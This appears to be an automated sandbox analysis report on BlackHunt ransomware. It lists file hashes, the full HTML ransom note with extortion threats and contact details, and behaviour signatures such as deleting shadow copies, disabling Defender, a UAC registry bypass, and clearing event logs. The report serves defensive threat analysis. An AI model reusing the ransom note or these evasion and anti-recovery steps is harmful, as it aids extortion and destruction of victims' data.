29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8

Analysis

max time kernel
119s
max time network
140s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
18/01/2024, 22:50

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General

Target

29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
Size

707KB
MD5

975a37260ad0d4c3e1796f11d5dbee54
SHA1

ef80a57f99336db24a0bd3cc84656ab44b78a946
SHA256

29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8
SHA512

89ebd469262c565cab61f2e0629520a9716368595fa31aa69c874fb18fa6cafb9647d558c14c2c5b3814b0e749250a96ab3e4d29410cf179c3e5dcea86e872da
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza158tvnh:6uaTmkZJ+naie5OTamgEoKxLWkZh

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 7wkA1H1YGvZT2r6o </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1276	fsutil.exe
1936	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	wbadmin.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	wbadmin.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
932	wevtutil.exe
2812	wevtutil.exe
1540	wevtutil.exe
1708	wevtutil.exe
2232	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1580	bcdedit.exe
2632	bcdedit.exe
2832	bcdedit.exe
1552	bcdedit.exe

Renames multiple (2337) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2036	wbadmin.exe
628	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
2132	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\R:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\U:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\S:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\K:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\N:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\W:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\T:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\A:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\Q:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\I:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\P:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\E:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\Y:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\O:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\J:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\B:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\V:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\G:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\L:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\Z:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\X:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\M:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\H:	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\be\LC_MESSAGES\#BlackHunt_ReadMe.txt	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\#BlackHunt_ReadMe.hta	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\#BlackHunt_ReadMe.txt	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\#BlackHunt_ReadMe.hta	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#BlackHunt_ReadMe.txt	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\deploy\messages_pt_BR.properties	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Full\full.png	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\THIRDPARTYLICENSEREADME-JAVAFX.txt	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_zh_4.4.0.v20140623020002.jar	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.base.nl_ja_4.4.0.v20140623020002.jar	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\org-netbeans-modules-profiler-oql.xml	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Atlantic\South_Georgia	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\LayeredTitles\1047x576black.png	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Asuncion	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Copenhagen	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\html\#BlackHunt_ReadMe.hta	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Sports\SportsNotesBackground.wmv	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jakarta	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\VideoWall\#BlackHunt_ReadMe.txt	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\#BlackHunt_Private.key	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\preface.htm	29befa2c8074430dfe63ad92eb2c7ffedd3fc314592c8ed921292cc9b2f4a2f8.exe
